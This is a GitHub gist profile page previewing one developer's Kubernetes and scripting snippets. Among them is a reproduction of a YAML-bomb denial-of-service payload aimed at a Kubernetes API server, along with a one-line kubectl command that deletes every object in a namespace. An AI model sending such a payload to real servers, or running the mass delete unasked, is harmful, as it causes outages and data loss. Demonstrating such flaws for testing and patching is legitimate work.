Skip to content

Instantly share code, notes, and snippets.

View superbrothers's full-sized avatar
🌏
Working from the earth

Kazuki Suda superbrothers

🌏
Working from the earth
View GitHub Profile
$ minikube version
minikube version: v1.4.0
commit: 7969c25a98a018b94ea87d949350f3271e9d64b6
$ minikube start --kubernetes-version=v1.13.11
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-19T14:00:14Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"13", GitVersion:"v1.13.11", GitCommit:"25074a190ef2a07d8b0ed38734f2cb373edfb868", GitTreeState:"clean", BuildDate:"2019-09-18T14:34:46Z", GoVersion:"go1.11.13", Compiler:"gc", Platform:"linux/amd64"}
$ cat <<EOL > yaml-bomb.yaml
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
metadata:
labels:
a: &a ["web","web","web","web","web","web","web","web","web"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
package main
import (
"flag"
"log"
"path/filepath"
appsv1 "k8s.io/api/apps/v1"
apiv1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
function autoArchive() {
var delayDays = 7; // 7 days before messages are moved to archive.
var maxDate = new Date();
maxDate.setDate(maxDate.getDate() - delayDays);
var threads = GmailApp.search("in:inbox -is:starred")
threads.forEach(function (thread) {
if (thread.getLastMessageDate() < maxDate) {
thread.moveToArchive()
apiVersion: v1
kind: ServiceAccount
metadata:
namespace: monitoring
name: kube-eagle
labels:
app: kube-eagle
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@superbrothers
superbrothers / kubectl-delete_all
Last active March 29, 2024 10:27
Kubernetes: Delete all objects in the namespace
kubectl delete "$(kubectl api-resources --namespaced=true --verbs=delete -o name | tr "\n" "," | sed -e 's/,$//')" --all
diff --git a/pkg/minikube/bootstrapper/kubeadm/templates.go b/pkg/minikube/bootstrapper/kubeadm/templates.go
index cbb3f2bce..b60dce984 100644
--- a/pkg/minikube/bootstrapper/kubeadm/templates.go
+++ b/pkg/minikube/bootstrapper/kubeadm/templates.go
@@ -24,7 +24,7 @@ import (
var kubeadmConfigTemplate = template.Must(template.New("kubeadmConfigTemplate").Funcs(template.FuncMap{
"printMapInOrder": printMapInOrder,
-}).Parse(`apiVersion: kubeadm.k8s.io/v1alpha1
+}).Parse(`apiVersion: kubeadm.k8s.io/v1alpha2
apiVersion: krew.googlecontainertools.github.com/v1alpha1
kind: Plugin
metadata:
name: service
spec:
platforms:
- uri: https://github.com/superbrothers/kubectl-service-plugin/releases/download/v1.1.0/service-darwin-amd64.zip
sha256: 8197bc5506c628381cf1ae73ec03cc44d0513f6ca102d8b7165ba7dff034208e
files:
- from: "*"
apiVersion: apps/v1
kind: Deployment
metadata:
name: the-deployment
spec:
template:
spec:
containers:
- name: the-container
$patch: delete